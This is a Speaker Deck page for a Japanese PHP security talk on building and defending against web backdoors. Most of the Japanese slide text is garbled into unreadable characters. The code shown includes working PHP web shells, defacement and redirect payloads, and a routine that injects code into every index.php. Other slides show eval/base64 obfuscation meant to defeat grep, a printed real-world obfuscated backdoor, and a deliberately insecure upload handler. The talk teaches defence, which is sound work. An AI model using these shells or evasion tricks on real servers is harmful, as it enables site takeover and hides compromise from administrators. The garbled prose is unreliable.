Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
作って理解するバックドア
Search
Sponsored
·
SiteGround - Reliable hosting with speed, security, and support you can count on.
→
Roku
March 23, 2023
Technology
2.3k
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
作って理解するバックドア
Roku
March 23, 2023
More Decks by Roku
See All by Roku
Laravel のセキュリティはどうなってる?突撃ソースコードリーディング(PHPカンファレンス福岡2024)
ad5jp
1
1.5k
本当にあった怖い脆弱性の話
ad5jp
22
42k
Other Decks in Technology
See All in Technology
シンプルな設定ファイルで実現する AWS IAM Identity Center の ユーザー管理Terraformフレームワークを公開しました / Simplifying AWS IAM Identity Center User Management: An Open-Source Terraform Framework
yamaguchitk333
0
320
局所最適は悪ではない。壊れているのは指標です。量と質を同時に見る先行指標の設計
recruitengineers
PRO
2
1.2k
Vue.jsのGitHubから学ぶ意思決定
yut0naga1_fa
1
260
AIエージェント時代、Kaggleにどう取り組むか
takanao
1
180
Agent × Maestro で始める モバイル E2E 端末準備からテスト実行・結果確認まで
sansantech
PRO
0
210
AIをリアル世界に解き放つ 〜M5Stack×AIであなたのアイディアを手の平に〜
hamadakoji
1
540
クラウドエージェントの先駆け Devin。今も最先端を走る、他との違い
kinopeee
0
390
1週間、Opus封印でお願いします
kintotechdev
0
170
AWSセキュリティで活用するAI機能
cmusudakeisuke
1
310
ビジネス部門からPOを迎えての半年間の進歩と課題
zozotech
PRO
0
150
野良MCPサーバーを排除せよ!MCPサーバーのガバナンス
yukiogawa
1
240
これだけは抑えておきたい!後悔しない re:Invent の過ごし方 / AWS re:Invent 2026 prestudy
kinunori
2
370
Featured
See All Featured
Reality Check: Gamification 10 Years Later
codingconduct
0
2.3k
How GitHub (no longer) Works
holman
316
150k
Save Time (by Creating Custom Rails Generators)
garrettdimon
PRO
33
5.4k
Information Architects: The Missing Link in Design Systems
soysaucechin
1
1.2k
Writing Fast Ruby
sferik
630
63k
How STYLIGHT went responsive
nonsquared
100
6.3k
Taking LLMs out of the black box: A practical guide to human-in-the-loop distillation
inesmontani
PRO
3
2.5k
Principles of Awesome APIs and How to Build Them.
keavy
128
18k
30 Presentation Tips
portentint
PRO
1
440
Un-Boring Meetings
codingconduct
0
460
brightonSEO & MeasureFest 2025 - Winning Strategies for Black Friday CRO & PPC - Christian Goodrich
cargoodrich
3
880
Color Theory Basics | Prateek | Gurzu
gurzu
1
500
Transcript
࡞ͬͯཧղ͢ΔόοΫυΞ -FU`T%*:
ࣗݾհ w גࣜձࣾ"%ද w ొ த ηΩεϖʢʙʣ w 1)1FS,BJHJొஃ
ʮຊʹ͋ͬͨා͍੬ऑੑͷʯ 3PLV !BEKQ
ຊΞʔΩςΫνϟͱ͔ ϢχοτςετΈ͍ͨͳ ΩϥΩϥ͕͍͚ͨͨ͠͠ΕͲɺ ಙ̋͞Μͷޙ佂తϙδγϣϯΛૂͬͯɺ ࠓճηΩϡϦςΟωλͰ͢ɻ
΄Ͳલͷ͓ w ,͞Μʮ3PLV͞ʔΜʂIUBDDFTT͕ফͤͳ͍ΜͰ͢ʢٽʣʯ w ʮʢ͋͋ɺύʔϛογϣϯ͔ͳʁʣͲ͜ͷαΠτͰ͔͢ʁʯ w ,͞ΜʮʓʓͰ͢ɻαΠτશମ͕ݟ͑ͳ͘ͳͬͯͯʢٽʣʯ w ʮʢϙνϙνʣɾɾɾ͋Εʁফͤ·ͨ͠Αʯ w
,͞ΜʮԿফ͓͖ͯ͠ʹ෮׆͢ΔΜͰ͢ʢྦʣʯ
ͦΕɺόοΫυΞͰ͢ɻ
ࠓճͷ༰ w όοΫυΞͷ֓ཁ w όοΫυΞͷ࡞Γํͱ࣮ྫ w όοΫυΞͷରࡦ
όοΫυΞͷ֓ཁ
࣮ԋ w ͋Δͱ͜ΖʹɺԿͷมͳ͍ϝʔϧϑΥʔϜ͕͋Γ·ͨ͠ɻ
࣮ԋ w ѱ͍ਓ͕ϑΝΠϧ͕͜ΜͳϑΝΠϧΛΞοϓϩʔυ͠·ͨ͠ɻ SFXSJUFJOEFYQIQ <?php $path = __DIR__
. '/../../../public/index.php'; $code = "<?php die('you have been hacked :)');"; file_put_contents($path, $code); die('success');
࣮ԋ w ͦͯ͠ɺϑΝΠϧͷϓϨϏϡʔϦϯΫΛΫϦοΫ͠·ͨ͠ɻ
࣮ԋ w ͦͯ͠ɺϑΝΠϧͷϓϨϏϡʔϦϯΫΛΫϦοΫ͠·ͨ͠ɻ
࣮ԋ w αΠτશମ͕͜͏ͳΓ·ͨ͠ɻ
߈ܸ༻ϑΝΠϧ͍Ζ͍Ζ w ͬͱλνѱ͍ͭɻ <?php $path = __DIR__ . '/../../../public/index.php'; $code
= "<?php header('Location: https://ad5.jp');"; file_put_contents($path, $code); die('success');
߈ܸ༻ϑΝΠϧ͍Ζ͍Ζ w యܕతʹ͜Εɻ <?php file_put_contents($_POST['path'], $_POST['code']); <?php exec($_POST['command']);
͜ΜͳϑΝΠϧΛΞοϓϩʔυ͞ΕͨΒ w ୈࡾऀ͕αʔόΛࣗ༝ʹૢ࡞Ͱ͖Δͷͱಉ͡ ʹαʔόͷཪޱʢόοΫυΞʣ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕʢ·ͱΊʣ w ࠷ॳͷ߈ܸ༻ϑΝΠϧ͕ɺ੬ऑੑΛ௨ͯ͡αʔόʹஔ͔ΕΔ ˣ w ओతͰ͋Δվ͟ΜΛߦ͍ͭͭɺ ୈ̎ɼୈ̏ͷ߈ܸ༻ϑΝΠϧΛผͷॴʹஔ͘ɻ
ˣ w ࠷ॳͷ߈ܸ༻ϑΝΠϧ͕ۦআ͞Εͯɺୈ̎ɺୈ̏ͷ ߈ܸ༻ϑΝΠϧʹΑΓɺվ͟ΜΛ܁Γฦ͢ɻ
ͭ·ΓόοΫυΞ w੬ऑੑͦͷͷͰͳ͘ɺ ߈ܸతͦͷͷͰͳ͍ɻ wҰޭͨ͠߈ܸΛܧଓతʹߦ͍͘͢ɺ ·ͨۦআ͠ʹ͘͘͢ΔͨΊͷதؒखஈɻ
ࠜຊݪҼͱͳΔ੬ऑੑ w ةݥͳλΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυ ʢ$8&ʣ w 04ίϚϯυΠϯδΣΫγϣϯ ʢ$8&ʣ w
ͳͲɻ
߈ܸͷओత ΤϯτϦʔϙΠϯτ JOEFYQIQ IUBDDFTTΛվ͟Μ͠ɺ w ϢʔβΛ߈ܸऀͷαΠτʹඈ͢ɻ w ةݥͳϑΝΠϧΛμϯϩʔυͤ͞Δɻ w %%P4߈ܸͷ౿Έʹ͢Δɻ
w FOWͷใΛൈ͖औΔɻ w ηογϣϯ͔ΒϢʔβͷൿີใΛൈ͖औΔɻ
όοΫυΞͷ࡞Γํ
͖ͬ͞ͷαϯϓϧ <?php $path = __DIR__ . '/../../../public/index.php'; $code = "<?php
header('Location: https://ad5.jp');"; file_put_contents($path, $code); die('success');
͖ͬ͞ͷαϯϓϧ <?php $path = __DIR__ . '/../../../public/index.php'; $code = "<?php
header('Location: https://ad5.jp');"; file_put_contents($path, $code); die('success'); ͜Μͳվ͟ΜͳΒ·ͩϚγɻ
άϨʔυΞοϓ <?php $code = <<<'EOM' <?php if (empty($_SESSION) && empty($_COOKIE))
{ header('Location: https://ad5.jp'); } ?> EOM; $path = __DIR__ . '/../../../public/index.php'; $code .= file_get_contents($path, $code); file_put_contents($path, $code);
άϨʔυΞοϓ <?php $code = <<<'EOM' <?php if (empty($_SESSION) && empty($_COOKIE))
{ header('Location: https://ad5.jp'); } ?> EOM; $path = __DIR__ . '/../../../public/index.php'; $code .= file_get_contents($path, $code); file_put_contents($path, $code); ཧऀ։ൃऀ͕ؾ͔ͮͳ͍͏ͪʹɺ ৽ن๚ऀ͚͕ͩඈ͞Εଓ͚Δɻ
͜ΜͳύεܾΊଧͪͷ߈ܸ ͨΔΘ͚ͶʔͩΖ͆͆͆
HMPC Λͬͯ૯ͨΓ <?php function prepend($path) { $code .= file_get_contents($path, “…߈ܸ༻ίʔυ…”);
file_put_contents($path, $code); } function prependRecursive($path) { if (file_exists("{$path}/index.php")) { prepend("{$path}/index.php"); } foreach (glob("{$path}/*") as $child) { if (is_dir($child)) { prependRecursive($child); } } } prependRecursive($_SERVER["DOCUMENT_ROOT"]);
ൃݟ͞Εʹ͍͘ϑΝΠϧΛૂ͏ w ϑϨʔϜϫʔΫʹඞͣଘࡏ͢ΔϑΝΠϧΛվ͟Μ ྫʣQVCMJDJOEFYQIQ w ϑϨʔϜϫʔΫʹ͍͔ʹ͋Γͦ͏ͳ໊લͷϑΝΠϧΛઃஔ ྫʣMPBEQIQ
MPDBMFQIQ w HJUJHOPSF͞Ε͍ͯΔσΟϨΫτϦʹϑΝΠϧΛઃஔ ྫʣTUPSBHFQVCMJD
8PSE1SFTTͳΒɾɾɾ w XQBENJOXQJODMVEFTͷϑΝΠϧΛվ͟Μɺ ·ͨϑΝΠϧΛઃஔ w XQDPOUFOUQMVHJOTYYYͷϑΝΠϧΛվ͟Μɺ ·ͨϑΝΠϧΛઃஔ w
XQDPOUFOUVQMPBETʹϑΝΠϧΛઃஔ
GJMF@QVU@DPOUFOU ͱ͔ GXSJUF ͱ͔ͰHSFQͨ͠Β ۦআͰ͖ΔΜ͡ΌͶʁ
ྫ͑͜ͷίʔυ <?php $path = __DIR__ . '/../../../public/index.php'; $code = "<?php
header('Location: https://ad5.jp');"; file_put_contents($path, $code);
͜͏ͯ͠ <?php eval("$path = __DIR__ . '/../../../public/index.php'; $code = \"<?php
header('Location: https://ad5.jp'); \";file_put_contents($path, $code)");
͜͏͢Δͱ <?php eval(base64_decode("JHBhdGggPSBfX0RJUl9fIC4gJy8uLi8uLi8 uLi9wdWJsaWMvaW5kZXgucGhwJzskY29kZSA9IFwiPD9waHAgaGVhZG VyKCdMb2NhdGlvbjogaHR0cHM6Ly9hZDUuanAnKTtcIjtmaWxlX3B1d F9jb250ZW50cygkcGF0aCwgJGNvZGUp"));
GJMF@QVU@DPOUFOU ফ͑·ͨ͠ɻ
͡Ό͋ɺFWBM ͱ͔ CBTF@EFDPEF Ͱ HSFQ͢Ε͍͍Μ͡ΌͶʁ
1)1͞ΜॊೈͳΜͰ͢ɻ <?php $a = "eval"; $b = “base64_encode"; $a($b("JHBhdGggPSBfX0RJUl9fIC4gJy8uLi8uLi8uLi9wdWJsaWMv aW5kZXgucGhwJzskY29kZSA9IFwiPD9waHAgaGVhZGVyKCdMb2NhdGl
vbjogaHR0cHM6Ly9hZDUuanAnKTtcIjtmaWxlX3B1dF9jb250ZW50cy gkcGF0aCwgJGNvZGUp"));
1)1͞ΜॊೈͳΜͰ͢ɻ <?php $x = '0123456789abcdefghijklmnopqrstuvwxyz_'; $a = $x[14].$x[31].$x[10].$x[21]; $b =
$x[11].$x[10].$x[28].$x[14].$x[6].$x[4].$x[36]. $x[13].$x[14].$x[12].$x[24].$x[13].$x[14]; $a($b("JHBhdGggPSBfX0RJUl9fIC4gJy8uLi8uLi8uLi9wdWJsaWMv aW5kZXgucGhwJzskY29kZSA9IFwiPD9waHAgaGVhZGVyKCdMb2NhdGl vbjogaHR0cHM6Ly9hZDUuanAnKTtcIjtmaWxlX3B1dF9jb250ZW50cy gkcGF0aCwgJGNvZGUp"));
ίʔυ͔ΒҰͷ ͕ؔফ͑·ͨ͠
HSFQແཧͰ͢ɻ
˞͓அΓ w ઌఔͷίʔυ̍ӕ͕͋Γ·͢ɻ FWBMؔͰͳ͘ݴޠߏͷͨΊɺ ಈ͖·ͤΜɻ w
࣮ࡍͷஈͷಡԽʹɺ DSFBUF@GVODUJPO ؔ 1)1 ͕ΘΕ͍ͯΔͷ͕ ଟ͘ݟΒΕ·ͨ͠ɻ $a = "eval"; $a();
࣮ࡍʹ࠾ूͨ͠όοΫυΞ MPDBMFQIQ ˞ CZUF <?php $tJvyYsXGpmgwi='y(3;]whcx)8$4mb dk1qog5sprlua=z_/ 0i9tvf_”76*.2n[je';$q2866=$tJvyYsXGpmgwi[(105/15)]. $tJvyYsXGpmgwi[(26-1)].$tJvyYsXGpmgwi[(1*49)]. $tJvyYsXGpmgwi[((10*1)+18)].$tJvyYsXGpmgwi[(14+22)].
$tJvyYsXGpmgwi[(44+5)].$tJvyYsXGpmgwi[(44-13)].$tJvyYsXGpmgwi[(684/18)]. $tJvyYsXGpmgwi[(23+4)].$tJvyYsXGpmgwi[(72-(33-7))]. $tJvyYsXGpmgwi[(154/22)].$tJvyYsXGpmgwi[(11+25)].$tJvyYsXGpmgwi[(65- (62-31))].$tJvyYsXGpmgwi[(26-6)].$tJvyYsXGpmgwi[((27*2)-8)]; $pHFdNhg9688=$tJvyYsXGpmgwi[(20-9)].$tJvyYsXGpmgwi[(2*4)]. $tJvyYsXGpmgwi[(29*1)].$tJvyYsXGpmgwi[(160/4)]; $MYtraky2482=$tJvyYsXGpmgwi[(8*5)].$tJvyYsXGpmgwi[((1+0)+2)]. $tJvyYsXGpmgwi[(6+(1*(95/19)))].$tJvyYsXGpmgwi[(140/5)]. $tJvyYsXGpmgwi[(522/18)].$tJvyYsXGpmgwi[(7*((7-3)-2))]. …ུ…
ղಡ͢Δͱ͜͏ͳͬͯͨɻ <?php $x=“‘7RxrU9tI8jP8CqGiIvtWyCYJSRYwgSTO4y4BziZ3l98Q…ུ…“; $a=base64_decode($x); $b=gzinflate($a); eval($b);
EFDPEF͢Δͱɻ <?php error_reporting(0); @set_time_limit(3600); @ignore_user_abort(1); $xmlname = 'mapss.xml'; $dt =
0; $sitemap_file = 'sitemap'; $mapnum = 2000; if(isset($_GET['dt'])){ $dt = $_GET['dt']; } $site = @$_GET['smsite']; $jdir = ''; $http_web = 'http'; if(is_https()){ $http = 'https'; }else{ …ུ…
MPDBMFQIQͷಛ w (PPHMFʹِͷαΠτϚοϓΛૹ͍ͬͯΔɻ ˠ4FBSDI$POTPMFݕࡧ݁ՌͷΞϥʔτʹΑΓɺ ɹӡӦऀϢʔβʹؾ͔ͮΕΔͷΛ͙ͨΊɻ w $44ը૾ͷೖͬͨσΟϨΫτϦΛૂ͍ͬͯΔɻ w
ϑΝΠϧʹॻ͖ࠐΉ༰Λ֎෦63-͔Βऔಘ͍ͯ͠Δɻ ˠ͓ͦΒ͘߈ܸऀͷ࢘ྩ༻αʔόɻ͜ͷ༰Λมߋ͢Δ͜ͱͰ ɹ߈ܸ༻ϑΝΠϧΛมߋͤͣͱɺ߈ܸ༰Λม͑ΒΕΔɻ
શจ͓Αͼଞͷαϯϓϧͪ͜Β͔ΒͲ͏ͧ HJUIVCDPNBEKQQIQFSLBJHJ
όοΫυΞͷରࡦ
ઃஔ͞Εͳ͍Α͏ʹ͢Δɻ
Ҏ্ɻ
ࠜຊݪҼͱͳΔ੬ऑੑ w ةݥͳλΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυ ʢ$8&ʣ w 04ίϚϯυΠϯδΣΫγϣϯ ʢ$8&ʣ w
ͳͲɻ
ࠜຊݪҼͱͳΔ੬ऑੑ w ةݥͳλΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυ ʢ$8&ʣ w 04ίϚϯυΠϯδΣΫγϣϯ ʢ$8&ʣ w
ͳͲɻ ࠓ͜Εʹߜ͓ͬͯ͠·͢ɻ
࣮ԋʹ༻͓͍ͨ͠߹ΘͤϑΥʔϜ public function goConfirm(InquiryRequest $request) : RedirectResponse { $data =
$request->input(); $saving_path = storage_path('app/public/' . $_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $saving_path); chmod($saving_path, 0755); $data['file_name'] = $_FILES['file']['name']; $data['file_url'] = url('storage/', $_FILES['file']['name']); session()->put('inquiry', $data); return redirect()->route('confirm'); }
ྲྀੴʹ͜Μͳ࣮͢Δਓ ͍ͳ͍ͱࢥ͍·͕͢ɾɾɾ
͡Ό͋ɺ͜Ε҆શͰ͔͢ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ }
͡Ό͋ɺ͜Ε҆શͰ͔͢ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ } ͔݁Βݴ͑ɺ΄ͱΜͲͷ݅ԼͰηʔϑͰ͢ɻ Կނηʔϑͳͷ͔ɺͲ͏͍͏݅ԼͰةݥͳͷ͔ɺ ͑ΒΕ·͔͢ʁ
ͳͥ͜Μͳ͜ͱΛ㘤͘ͷ͔ɻ w୭ɺ੬ऑੑΛ࡞Ζ͏ͱࢥͬͯ࡞͍ͬͯͳ͍ɻ w࣮ࡍͷϓϩμΫτͷ༷ෳࡶͰɺ ίʔυෳࡶʹೖΓΜͰ͍Δɻ ͦͷ݁Ռɺ͕ൃੜ͢Δ͕݅ͨ·ͨ·ἧͬͯ͠·͍ɺ ੬ऑੑ͕ੜ·Εͯ͠·͏ɻ wਖ਼֬ͳཧղ͕ॏཁɻ
߈ܸͷཱ݅ ᶃ1)1ͷεΫϦϓτϑΝΠϧ͕ΞοϓϩʔυͰ͖ͯ͠·͏ɻ ᶄΞοϓϩʔυઌ͕ಉҰαʔόͷެ։σΟϨΫτϦͰ͋Δɻ ᶅΞοϓϩʔυ͞ΕͨϑΝΠϧ͕࣮ߦՄೳͰ͋Δɻ
ཱ݅ͱରࡦ ᶃ1)1ͷεΫϦϓτϑΝΠϧ͕ΞοϓϩʔυͰ͖ͯ͠·͏ɻ ˠ.JNF5ZQFΛνΣοΫ͠ɺඞཁ࠷খݶͷछྨͷϑΝΠϧͷ ɹΞοϓϩʔυͷΈڐՄ͢Δɻ ɾɾɾཁ݅ʹΑͬͯ.JNF5ZQFͷ੍ݶ͕ࠔͳ߹͋Δɻ
ཱ݅ͱରࡦ ᶄΞοϓϩʔυઌ͕ಉҰαʔόͷެ։σΟϨΫτϦͰ͋Δɻ ˠΞοϓϩʔυϑΝΠϧΛඇެ։σΟϨΫτϦʹஔ͍ͯ ɹ͍Εɺ߈ܸʹ༻͞ΕΔ͜ͱͳ͍ɻ ɹ·ͨɺΞϓϦέʔγϣϯͷઃஔ͞Εͨ8FCαʔόͱผͷ ɹॴʹϑΝΠϧΛஔ͍͍ͯΕɺ߈ཱܸ͠ͳ͍ɻ
ɾɾɾ͜Εཁ݅࣍ୈͰ࣮ݱͰ͖ͳ͍߹ɻ ɹɹɹͦͦຊ࣭తରࡦͰͳ͍ɻ
ཱ݅ͱରࡦ ᶅΞοϓϩʔυ͞ΕͨϑΝΠϧ͕࣮ߦՄೳͰ͋Δɻ ΑΓ۩ମతʹɺҎԼͷ̎݅ɻ "1)1$(*ͱͯ͠ղऍ͞ΕΔʢ࣮ߦ༻ͷϋϯυϥʹ ɹϚοϓ͞Ε͍ͯΔʣϑΝΠϧ໊Ͱอଘ͞ΕΔɻ #࣮ߦՄೳͳύʔϛογϣϯͰอଘ͞ΕΔɻ
ཱ݅ͱରࡦ ᶅ"1)1$(*ͱͯ͠ղऍ͞ΕΔϑΝΠϧ໊Ͱอଘ͞ΕΔɻ Ұൠతʹɺ֦ுࢠ͕QIQͰͳ͚Εɺ1)1ͱ࣮ͯ͠ߦ͞ΕΔ ͜ͱͳ͍ɻ ʢ1)1ίʔυ͕ॻ͔Ε͍ͯͯɺ୯ͳΔςΩετϑΝΠϧ ɹͱͯ͠ѻΘΕΕແʣ ˞ୠ͠ɺ্ه8FCαʔόͷઃఆʹґଘ͢Δʢޙड़ʣɻ
͡Ό͋͜ΕͲ͏ͳͷ͔ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ }
͡Ό͋͜ΕͲ͏ͳͷ͔ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ } σϑΥϧτͰɺQIQϑΝΠϧΛΞοϓϩʔυͨ͠߹ɺ ֦ுࢠͳ͠ʹͳΔɻ
6QMPBEFE'JMFTUPSF ͷ࣮ 6QMPBEFE'JMFIBTI/BNF ʹΑΓϑΝΠϧ໊͕ܾఆ͞ΕΔɻ ֦ுࢠɺ'JMFHVFTT&YUFOUJPO ʹΑܾͬͯΊΒΕΔɻ 1)1ϑΝΠϧΛΞοϓϩʔυͨ͠߹ɺ.JNF5ZQF
UFYUYQIQͱͳΓɺ.JNF5ZQF."1ͷఆٛʹै͍ɺ ֦ுࢠͳ͠Ͱ֨ೲ͞ΕΔɻ 6QMPBEFE'JMFʜ*MMVNJOBUFa)UUQa6QMPBEFE'JMF 'JMFʜ4ZNGPOZa$PNQPOFOUa)UUQ'PVOEBUJPOa'JMFa'JMF .JNF5ZQFTʜ4ZNGPOZa$PNQPOFOUa.JNFa.JNF5ZQFT
ྫ֎ ͨͩ͠ɺ͜ͷڍಈɺ.JNF5ZQFEFGBVMUΛηοτ͢Δ͜ͱ ͰมߋՄೳͰ͋Δɻ ੩తϓϩύςΟͰ͋ΔͨΊɺྫ͑4FSWJDF1SPWJEFSͰ ηοτ͍ͯ͠ΕɺΞϓϦέʔγϣϯશମʹӨڹ͕ٴͿɻ .JNF5ZQFTʜ4ZNGPOZa$PNQPOFOUa.JNFa.JNF5ZQFT
͜Μͳ࣮ɺΓ͕ͪɻ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $filename = Carbon::now()->format(‘Ymd_His.') . $uploaded_file->getClientOriginalExtension(); $path = $uploaded_file->storePubliclyAs('upload', $filename , ['disk' => 'public']); //ུ } ϑΝΠϧ໊ʹ*%ͷϧʔϧΛ࣋ͨͤͯอଘ͢Δ߹ɻ HFU$MJFOU0SJHJOBM&YUFOTJPO ΑΓHVFTT&YUFOUJPO
ͦͦ ྫ͑"QBDIFͷ߹ɺIUUQEDPOGIUBDDFTTʹ ͷΑ͏ʹهड़͞Ε͍ͯΕɺ֦ுࢠIUNMͰΞτɻ ཧ্ɺઃఆ࣍ୈͰɺ͋ΒΏΔ໊લͷϑΝΠϧ͕1)1ͱͯ͠ ࣮ߦՄೳͰ͋Δɻ 8FCαʔόͷઃఆʹґଘ͖͢Ͱͳ͍ɻ AddHandler php-script .php
.html
ཱ݅ͱରࡦ ᶅ#࣮ߦՄೳͳύʔϛογϣϯͰอଘ͞ΕΔɻ 1)1ʹΑͬͯઃஔ͞ΕͨϑΝΠϧͷॴ༗ऀɺ௨ৗ1)1ͷ࣮ߦ ϢʔβͰ͋ΔͨΊɺॴ༗ऀͷ࣮ߦݖݶ͕͋ΕΞτɻ ˠSXYSXYSXYˠΞτ ˠSXSXSXˠηʔϑ ˠSXYSYSYˠΞτ
ˠSXSSˠηʔϑ ˠSXYˠΞτ
͡Ό͋͜ΕͲ͏ͳͷ͔ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ }
6QMPBEFE'JMFTUPSF ͷ࣮ ιʔείʔυϦʔσΟϯάׂѪ͠·͕͢ɾɾɾ ઃఆϑΝΠϧDPO fi H fi MFTZTUFNTQIQ ͷEJTLTQVCMJDQFSNJTTJPOTͷઃఆʹґଘ͠·͢ɻ
σϑΥϧτͰɺσΟϨΫτϦ·ͨʹɺ ϑΝΠϧ·ͨʹͳ͍ͬͯ·͢ɻ ˠ͜ͷઃఆΛมߋ͍ͯ͠ͳ͍ݶΓɺ ɹલड़ͷίʔυύʔϛογϣϯʹͳΓ·͢ɻ
ͪΖΜɺ ࣗྗͰDINPE QBUI ͱ͔ͯͨ͠ΒΞτͰ͢ɻ TUPSBHFϑΥϧμύʔϛογϣϯʹ͢͠ɺ ͱ͍͏ޡͬͨղઆΛɺ͞ΒʹऔΓҧ͑ͯɺ ϑΝΠϧอଘޙʹɺΘ͟Θ͟ύʔϛογϣϯʹ
มߋ͍ͯ͠Δ࣮ɺݟͨ͜ͱ͋Γ·͢ɻɻɻ
ͪͳΈʹ͜ͷ߹ public function goConfirm(InquiryRequest $request) : RedirectResponse { $data =
$request->input(); $saving_path = storage_path('app/public/' . $_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $saving_path); //ུ } ύʔϛογϣϯͲ͏ͳΔ͔ɺ͑ΒΕ·͔͢ʁ
GJMF@QVU@DPOUFOU ͷύʔϛογϣϯ w 04ͷઃఆʢVNBTLʣʹґଘ͠·͢ɻ ଟ͘ͷڥͰɺσΟϨΫτϦ ·ͨ ɺ ϑΝΠϧ
·ͨ Ͱ͢ɻ w 04ͷઃఆʹґଘ͖͢Ͱͳ͘ɺΞϓϦέʔγϣϯͰ ໌ࣔతʹରॲ͖͢Ͱ͢ɻ
·ͱΊʢ$8&ͷରࡦʣ w ཁٻ্༷ՄೳͳΒɺΞοϓϩʔυՄೳͳϑΝΠϧΛ .JNF5ZQFͰඞཁ࠷খݶͷͷͷΈʹ੍ݶ͢Δɻ w ΞοϓϩʔυޙͷϑΝΠϧ࣮ߦෆՄೳͳύʔϛογϣϯʹɻ w ΞοϓϩʔυޙͷϑΝΠϧ࣮ߦෆՄೳͳϑΝΠϧ໊ʹɻ w
-BSBWFMͷ6QMPBEFE'JMFTUPSF Ͱ͑͞ɺ ͍͔ͭ͘ͷ͕݅ॏͳΕةݥͳ࣮ʹͳΔɻ
αʔυύʔςΟϥΠϒϥϦཁҙ w +7/%# 8PSE1SFTT༻DPOUBDUGPSNϓϥάΠϯʹ͓͚Δةݥͳλ ΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυʹؔ͢Δ੬ऑੑ w +7/%# .PWBCMF5ZQFͷ9.-31$"1*ʹ͓͚Δ04ίϚϯυΠϯδ
ΣΫγϣϯͷ੬ऑੑ ˠͲͪΒɺେྔͷόοΫυΞඃΛൃੜͤ͞·ͨ͠ɻ
͏ͪ8PSE1SFTT Θͳ͍͔Βେৎʁ
օ͞Μͷ͓٬༷ͷଟ͕͘ɺ w ڪΒ͘8PSE1SFTTΛ༻͍ͯ͠·͢ɻ w ࣗࣾͷೲอकରͰͳ͘ͱɺ ͍͟ࠔͬͨΒօ͞Μʹ૬ஊ͕དྷΔͣͰ͢ɻ w ର؛ͷՐࣄͰͳ͘ɺҙשى͍͖ͯ͠·͠ΐ͏ɻ
ͦͯ͠ͳʹΑΓɺ w όοΫυΞͷଟ͕͘1)1Ͱॻ͔Ε͍ͯ·͢ɻ w1)1FSͱͯ͠ɺաͰ͖·ͤΜɻ
όοΫυΞΛઃஔ͞Εͯ ͠·ͬͨΒ
جຊํ w લड़ͷͱ͓ΓɺશۦআۃΊ͍ͯ͠Ͱ͢ɻ w ·ͣɺࠜຊݪҼͱͳΔ੬ऑੑΛಛఆ͠ɺഉআ͢Δɻ w ͦͷޙɺผͷαʔόΛཱͯɺ "߈ܸΛड͚ΔલͷόοΫΞοϓ͔ΒϦετΞ͢Δɻ
#ࢹ֬ೝ͠ͳ͕Βɺ࣮֬ʹ҆શͳϑΝΠϧͷΈΛҠߦɻ
ઈࠎ͕ંΕΔ্ɺ શ͘ੜ࢈ੑͷͳ͍࡞ۀͳͷͰɺ ࢮʹͨ͘ͳΓ·͢ɻ
ΒΕ͔ͯΒͰ͍Ͱ͢ɻ
ฐ্࢙ࣾ൪࠷ѱͩͬͨόοΫυΞରԠ w 8FC੍࡞ձࣾ͞Μ͔Βٽ͖͔ͭΕͯɺରԠɻ w Ҏ্ͷαΠτ͕ɺϨϯαόͷϚϧνυϝΠϯͰ ӡ༻͞Ε͓ͯΓɺಓ࿈Εඃɻ ˠҕୗݩ͔ΒΫϨʔϜͷཛྷɻ
ˠݪҼಛఆࣗମ͕ۃΊͯߤɻ ˠϦετΞҠඇݱ࣮తɻ w શղܾʹϲ݄ۙ͘Λཁͨ͠ɻ
͏Ұݴ͍·͢ɻ ΒΕ͔ͯΒͰ͍Ͱ͢ɻ
ձࣾհ IUUQTBEKQ w େࡕͷडୗϕϯμʔͰ͢ɻ w Θ͍Θ͍ΨϠΨϠͬͯΔձࣾͰ͢ɻ w ΤϯδχΞਵ࣌ืूதɻ